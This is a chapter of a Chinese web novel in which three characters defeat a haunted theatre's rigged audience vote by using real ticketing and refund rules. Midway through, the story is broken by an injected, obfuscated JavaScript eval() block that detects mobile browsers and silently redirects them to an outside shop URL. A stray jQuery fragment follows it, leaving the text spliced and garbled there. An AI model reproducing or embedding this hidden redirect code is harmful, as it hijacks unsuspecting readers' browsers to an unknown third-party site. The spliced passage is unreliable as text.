周砚和姜令仪赶到山外灯剧场时,已经接近午夜。
旧商业街白日里还有些人气,到了这个点,只剩几家便利店亮着灯。风从街口吹过来,卷起地上一张宣传单,纸面上印着青色灯影。
【山外灯试演场】
【明日限量开放】
可剧场门口的纸灯,已经全亮了。
一盏接一盏,青光幽幽,把墨青色门脸照得像一只半睁的眼睛。
林闻素站在门口等他们,外套都没来得及穿,脸色难看得厉害。
“人在里面。”她压低声音,“准确说,不知道算不算人。”
周砚问:“监控呢?”
林闻素把手机递给他。
监控画面里,剧场观众席坐满了人。
三十个座位,一个不空。
他们穿着不同衣服,姿势却出奇一致,全部端端正正坐着,双手放在膝上,脸朝舞台。
最诡异的是,他们没有脸。
监控分辨率不低,能看见座椅编号,能看见地面划痕,甚至能看见第一排扶手上的灰。可那些观众的脸部位置,像被人用橡皮擦过,只剩一片灰白的空。
只有第三排最边上的人有脸。
小李。
他坐在那里,眼睛睁着,表情却是空的。
像一具被临时借用的壳。
周砚盯着画面,脸色沉下去。
姜令仪也看见了。
“他是你同僚。”
“嗯。”周砚收起手机,“嘴不牢,人可暂用那个。”
林闻素一愣。
周砚没解释。
他们进了剧场。
前厅灯没开,只有长廊尽头透出青光。越往里走,风铃声越清楚,叮叮当当,听久了让人心口发沉。
林闻素低声道:“我已经让其他工作人员别靠近,报警电话也准备好了。”
周砚问:“打了吗?”
“没。”林闻素咬牙,“我不知道怎么说。说我剧场里凭空坐满了没脸观众?”
周砚:“可以说有人非法入侵。”
林闻素:“监控里他们是凭空出现的。”
周砚沉默一秒:“那就先别提凭空。”
姜令仪看了他一眼。
周砚的应对方式仍然很现实。
离奇归离奇,报案归报案。
能落到现实规则里的,先落进去。
推开演厅门的一瞬间,风铃声停了。
三十个“观众”同时抬头。
没有脸。
却像有三十双眼睛一起看了过来。
姜令仪握紧账册。
周砚下意识往她身侧站了半步,却没有挡在她前面,只是把录音笔打开,放进口袋。
观众席中央,小李慢慢转过头。
他的眼睛有了焦距,却不像平时那个嘴欠的同事。
他看着周砚,用毫无起伏的声音说:
“砚哥,演出要开始了。”
周砚面无表情:“你上次把测试环境删了以后,跪着叫我什么?”
小李卡住了。
那张脸上的平静出现了一丝裂缝。
他嘴唇抖了抖,像有两股声音在争夺同一张嘴。
片刻后,他用很小的声音挤出一句:
“爹。”
林闻素:“……”
姜令仪:“……”
周砚点头:“本人。”
小李眼神清醒了一瞬,立刻露出快哭的表情:“砚哥救命,我刚才明明在便利店刷视频,怎么一抬头就在这儿了?还有我为什么坐得这么端庄?我平时没有这种素质啊。”
周砚:“别乱动。”
小李刚要站起来,身体却像被座椅钉住,又重重坐了回去。
他脸色发白:“我动不了。”
旁边那些无脸观众同时低下头。
他们膝上都放着一张投票纸。
纸面上只有两个选项。
【夫人请回】
【阿照出逃】
小李手里的那张,已经被勾了一半。
勾在【夫人请回】上。
姜令仪的眼神瞬间冷了。
周砚走过去,却没有碰那张纸。
“谁让你勾的?”
小李快哭了:“不是我,我手自己动的。我对天发誓,我虽然爱看热闹,但我没有劝人守活寡的爱好。”
周砚:“那就好,还有救。”
林闻素看着满场无脸观众,声音发紧:“这些票如果算数,明天一开场,阿照线就会被关。”
周砚抬头看舞台。
舞台正中央,青灯已经亮起。
灯面上缓缓浮出系统字样。
【副本预演中。】
【第一轮观众投票即将开启。】
【投票主题:是否劝夫人回府。】
【当前有效观众:30/30。】
周砚看着“有效观众”四个字,忽然问林闻素:“你们票务系统后台能开吗?”
林闻素立刻明白他要做什么。
“能。”
她打开电脑后台,手指飞快操作。
周砚站在旁边看。
三十张票确实售罄。
订单时间集中在三秒内。
二十九个订单购买人信息全是乱码,没有手机号,没有实名信息,支付状态却显示成功。
只有小李那一张是真实账号。
林闻素脸色越来越冷:“这平台不可能允许这种订单通过。”
周砚说:“那就是系统绕过了平台。但只要在你们后台,它就得过现实流程。”
他看向林闻素。
“你们剧场投票权是按购票算,还是按入场核验算?”
林闻素眼睛一亮。
“按入场核验。”
周砚点头:“那就好办。没实名,没核验,没投票资格。”
林闻素立刻新建公告。
【因票务异常,本场试演启用实名复核机制。未完成实名核验与人工检票的订单,不具备观演及投票资格。】
她写完,看向周砚。
周砚补充:“再加一句,剧场保留取消异常订单的权利。”
林闻素加上。
姜令仪看着他们,一个写,一个改,一个盖章,一个发布,忽然觉得现实世界的法术确实很复杂。
这里的人不用符咒。
他们用公告、后台、核验和印章。
公告发布的瞬间,演厅里的无脸观众齐齐抬头。
舞台青灯剧烈闪烁。
【警告:玩家干预观众席。】
周砚纠正:“不是玩家,是剧场运营规则。”
林闻素冷冷道:“这是我的场地,我的票务后台,我的演出规则。”
她点下确认。
后台里,二十九个乱码订单同时变红。
【异常订单,待复核。】
舞台提示也跟着变化。
【当前有效观众:1/30。】
剩下那个有效观众,正是小李。
小李看着周围那些无脸人,声音发抖:“所以现在全场就我一个有投票权?”
周砚:“恭喜你,责任重大。”
小李:“我现在想退票。”
周砚:“很有觉悟。”
他说完把小李的手机从座椅旁拿起来,屏幕上还停在购票页面。
退票按钮是灰的。
【副本进行中,不可退票。】
小李差点崩溃:“这也太黑了吧!”
姜令仪冷声道:“诈骗文书。”
周砚点头:“诈骗按钮。”
他没有去点那个灰掉的退票按钮,而是让林闻素从后台操作。
“剧场方主动取消订单。”
林闻素点开小李订单,选择退款。
系统弹窗跳出来。
【该观众已入场,无法取消。】
周砚问:“你们现实里有没有强制退场流程?”
林闻素立刻说:“有,扰乱演出秩序、身体不适、安全风险,都可以由主办方终止观演。”
小李立刻举手:“我身体不适!我非常不适!我心灵也不适!”
周砚:“理由成立。”
林闻素在后台选择:
【观众身体不适,主办方协助退场。】
这一次,系统卡住了。
舞台青灯闪烁得更急。
【观众不可退场。】
林闻素没有理它,直接点确认。
后台显示:
【退场申请已提交。】
下一秒,小李整个人像被一股力量往座椅里按。
他脸色一白,手指又不受控制地伸向投票纸。
“砚哥,我手又开始了!”
周砚一步上前,按住小李手腕。
不是替他选。
只是拦住那张强行勾下去的票。
“小李,看着我。”
小李眼眶都红了:“我看着呢!但我手不听我的!”
周砚语速很快:“你今天为什么来?”
“看热闹。”
“热闹是谁的?”
“你的。”
“那你看完了吗?”
小李哭丧着脸:“没看完,但是我后悔了。”
“后悔就自己退场。”周砚把手机塞进他另一只手里,“别让它替你投票。”
小李死死攥住手机。
屏幕上,退场申请还在等待确认。
他手指发抖,几乎按不下去。
姜令仪忽然走到他面前。
小李抬头看她,眼神还在挣扎。
姜令仪说:“你若投了夫人请回,我便记你一笔。”
小李:“……”
她声音很轻,却很冷。
“账册不封顶。”
小李瞳孔一震,像被现实恐惧短暂唤醒。
“我退!”
他猛地按下确认。
【观众主动退场确认成功。】
小李膝上的投票纸瞬间烧成灰。
他整个人往前一栽,终于能从座椅上站起来。
周砚扶了他一把。
小李腿软得差点跪下:“谢谢姜姐不杀之恩。”
姜令仪:“我没说不记。”
小李:“……”
周砚把他推给林闻素:“带他出去,找个亮堂地方坐着,别让他看任何纸灯和投票页面。”
林闻素点头,叫助理把小李带走。
小李走到门口,还不忘回头喊:“砚哥,这算工伤吗?”
周砚:“你先活着出去。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723150|208763||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小李:“哦!”
门关上。
演厅里只剩他们三人和二十九个无脸观众。
舞台青灯上的字开始扭曲。
【当前有效观众:0/30。】
【观众席无效。】
【正在加载替代观众。】
周砚脸色一变:“它还能加载?”
下一秒,观众席上那些无脸人的身体开始轻微晃动。
他们的脸部空白处,慢慢浮现出不同的文字。
不是五官。
是评论。
【夫人请回。】
【夫人请回。】
【夫人请回。】
每一张空白脸上,都浮着同一句话。
林闻素的手机疯狂震动。
她低头一看,脸色发白。
“线上预约人数在涨。”
周砚接过手机。
山外灯官号后台,预约提醒像疯了一样往外跳。
一百。
三百。
一千。
五千。
预约用户的头像各不相同,有真实路人,有路过网友,也有那种明显新注册的空号。
系统提示在青灯上浮现。
【线下观众不足。】
【线上观众席即将开启。】
【届时所有观看者均可参与投票。】
周砚的脸彻底沉了。
线下三十人,他们可以验票、退票、核销。
可一旦开线上投票,就是成千上万双眼睛。
其中有真实网友,也有被系统加载的空号。
“他们会借人的眼睛找到你。”
现在不只是找到。
还要借人的眼睛,替她投票。
林闻素咬牙:“我现在关闭预约。”
“不能只关。”周砚说,“它会判定取消演出默认失败。”
姜令仪忽然开口:“那便改投票题。”
周砚看向她。
姜令仪站在青灯下,脸色仍然有些白,眼神却很稳。
“它问观众,要不要夫人请回。题是它出的。”
她拿起账册。
“题不可信,便换题。”
林闻素立刻反应过来:“线上投票可以由我们后台设置。”
周砚问:“现在能改吗?”
林闻素打开后台,进入互动投票模块。
原本空白的投票设置页,已经被系统写好。
【投票标题:是否劝夫人回府?】
【选项一:夫人请回。】
【选项二:阿照出逃。】
林闻素试图删除。
失败。
【系统锁定。】
姜令仪看着屏幕,忽然说:“别删。”
周砚抬头。
姜令仪说:“加第三项。”
林闻素愣了一下,尝试新增选项。
居然成功了。
输入框弹出来。
姜令仪看向周砚。
周砚没有替她写,只把键盘推给她。
姜令仪垂眸,指尖落在键盘上。
她打字还不熟练,一字一字敲得很慢。
但每一下都很稳。
【她自己决定。】
林闻素看着这五个字,立刻点保存。
系统疯狂闪烁。
【非法选项。】
【非法选项。】
【非法选项。】
可投票后台里,第三个选项已经保存成功。
因为这是剧场官方互动系统。
现实平台认可它。
周砚盯着那行字,忽然明白了。
系统最怕的不是他们选“阿照出逃”。
因为那仍然是在它给的二选一里反抗。
它真正怕的是第三项。
不选夫人,也不选阿照。
而是让她自己决定。
姜令仪低头看向观众席。
二十九张无脸的脸上,那些“夫人请回”开始变得模糊。
有几张脸上,新的字慢慢浮出。
【她自己决定。】
林闻素深吸一口气:“有效。”
还没等他们松一口气,演厅最前排中央的空座忽然亮了。
那原本是留给导演控场的内部席。
座位上没有人。
却凭空出现了一张纸质票。
周砚走过去。
票面上写着:
【特别观众席】
【姓名:裴行砚】
【状态:已入场】
姜令仪呼吸一停。
周砚也盯住那张票。
舞台青灯缓缓亮起新的提示。
【检测到关键观众。】
【裴行砚拥有一次特殊投票权。】
【该票可决定“阿照”“夫人”“姜令仪”任一身份线存续。】
下一秒,空座旁边的纸灯轻轻晃动。
一道低沉、微弱、像从很远地方传来的声音响起。
“别让她选我。”
姜令仪猛地抬眼。
周砚脸色也变了。
那声音他听过。
是游戏里裴行砚的角色音。
可这一次,不在屏幕里。
就在现实观众席中。